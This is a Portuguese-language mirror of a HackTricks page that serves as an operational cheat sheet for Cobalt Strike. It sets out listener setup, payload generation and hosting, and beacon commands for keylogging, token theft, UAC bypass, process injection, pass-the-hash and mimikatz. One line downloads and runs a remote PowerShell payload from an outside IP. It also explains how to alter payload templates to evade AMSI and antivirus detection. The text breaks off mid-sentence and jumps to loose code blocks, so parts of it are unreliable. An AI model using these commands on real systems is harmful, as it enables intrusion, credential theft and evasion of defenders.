mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-01 00:49:40 +00:00
6.2 KiB
6.2 KiB
Cobalt Strike
Listeners
Ouvintes C2
Cobalt Strike -> Listeners -> Add/Edit
e você pode selecionar onde ouvir, qual tipo de beacon usar (http, dns, smb...) e mais.
Ouvintes Peer2Peer
Os beacons desses ouvintes não precisam se comunicar diretamente com o C2, eles podem se comunicar com ele por meio de outros beacons.
Cobalt Strike -> Listeners -> Add/Edit
e você precisa selecionar os beacons TCP ou SMB
- O beacon TCP definirá um ouvinte na porta selecionada. Para se conectar a um beacon TCP, use o comando
connect <ip> <port>
de outro beacon - O beacon smb ouvirá em um nome de pipe com o nome selecionado. Para se conectar a um beacon SMB, você precisa usar o comando
link [target] [pipe]
.
Gerar e hospedar payloads
Gerar payloads em arquivos
Attacks -> Packages ->
HTMLApplication
para arquivos HTAMS Office Macro
para um documento do Office com uma macroWindows Executable
para um .exe, .dll ou serviço .exeWindows Executable (S)
para um stageless .exe, .dll ou serviço .exe (melhor stageless do que staged, menos IoCs)
Gerar e hospedar payloads
Attacks -> Web Drive-by -> Scripted Web Delivery (S)
Isso gerará um script/executável para baixar o beacon do cobalt strike em formatos como: bitsadmin, exe, powershell e python
Hospedar payloads
Se você já tem o arquivo que deseja hospedar em um servidor web, basta ir para Attacks -> Web Drive-by -> Host File
e selecionar o arquivo para hospedar e a configuração do servidor web.
Opções do Beacon
# Executar binário .NET local
execute-assembly </path/to/executable.exe>
# Capturas de tela
printscreen # Tirar uma única captura de tela via método PrintScr
screenshot # Tirar uma única captura de tela
screenwatch # Tirar capturas de tela periódicas da área de trabalho
## Vá para View -> Screenshots para vê-las
# keylogger
keylogger [pid] [x86|x64]
## View > Keystrokes para ver as teclas pressionadas
# portscan
portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Injetar ação de portscan dentro de outro processo
portscan [targets] [ports] [arp|icmp|none] [max connections]
# Powershell
# Importar módulo Powershell
powershell-import C:\path\to\PowerView.ps1
powershell <apenas escreva o comando powershell aqui>
# Impersonação de usuário
## Geração de token com credenciais
make_token [DOMAIN\user] [password] #Criar token para se passar por um usuário na rede
ls \\computer_name\c$ # Tente usar o token gerado para acessar C$ em um computador
rev2self # Pare de usar o token gerado com make_token
## O uso de make_token gera o evento 4624: Uma conta foi conectada com êxito. Este evento é muito comum em um domínio do Windows, mas pode ser reduzido filtrando o tipo de logon. Como mencionado acima, ele usa LOGON32_LOGON_NEW_CREDENTIALS que é o tipo 9.
# UAC Bypass
elevate svc-exe <listener>
elevate uac-token-duplication <listener>
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
## Roubar token de pid
## Como make_token, mas roubando o token de um processo
steal_token [pid] # Além disso, isso é útil para ações de rede, não ações locais
## A partir da documentação da API, sabemos que esse tipo de logon "permite que o chamador clone seu token atual". É por isso que a saída do Beacon diz Impersonated <current_username> - está se passando pelo nosso próprio token clonado.
ls \\computer_name\c$ # Tente usar o token gerado para acessar C$ em um computador
rev2self # Pare de usar o token de steal_token
## Iniciar processo com novas credenciais
spawnas [domain\username] [password] [listener] #Faça isso a partir de um diretório com acesso de leitura como: cd C:\
## Como make_token, isso gerará o evento do Windows 4624: Uma conta foi conectada com êxito, mas com um tipo de logon de 2 (LOGON32_LOGON_INTERACTIVE). Ele detalhará o usuário chamador (TargetUserName) e o usuário se passando (TargetOutboundUserName).
## Injetar em processo
inject [pid] [x64|x86] [listener]
## Do ponto de vista do OpSec: Não execute injeção entre plataformas, a menos que realmente precise (por exemplo, x86 -> x64 ou x64 -> x86).
## Passar o hash
## Este processo de modificação requer a correção da memória LSASS, que é uma ação de alto risco, requer privilégios de administrador local e não é muito viável se o Protected Process Light (PPL) estiver habilitado.
pth [pid] [arch] [DOMAIN\user] [NTLM hash]
pth [DOMAIN\user] [NTLM hash]
## Passar o hash através do mimikatz
mimikatz sekurlsa::pth /user:<username> /domain:<DOMAIN> /ntlm:<NTLM HASH> /run:"powershell -w hidden"
## Sem /run, mimikatz gera um cmd.exe,
```
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
```
Não se esqueça de carregar o script agressivo `dist-pipe\artifact.cna` para indicar ao Cobalt Strike para usar os recursos do disco que queremos e não os carregados.
### Kit de Recursos
A pasta ResourceKit contém os modelos para os payloads baseados em script do Cobalt Strike, incluindo PowerShell, VBA e HTA.
Usando o [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) com os modelos, você pode descobrir o que o defensor (AMSI neste caso) não está gostando e modificá-lo:
```
.\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1
```
Modificar as linhas detectadas pode gerar um modelo que não será detectado.
Não se esqueça de carregar o script agressivo `ResourceKit\resources.cna` para indicar ao Cobalt Strike para usar os recursos do disco que queremos e não os carregados.
```bash
cd C:\Tools\neo4j\bin
neo4j.bat console
http://localhost:7474/ --> Change password
execute-assembly C:\Tools\SharpHound3\SharpHound3\bin\Debug\SharpHound.exe -c All -d DOMAIN.LOCAL
# Change powershell
C:\Tools\cobaltstrike\ResourceKit
template.x64.ps1
# Change $var_code -> $polop
# $x --> $ar
cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\ResourceKit\resources.cna
#artifact kit
cd C:\Tools\cobaltstrike\ArtifactKit
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
```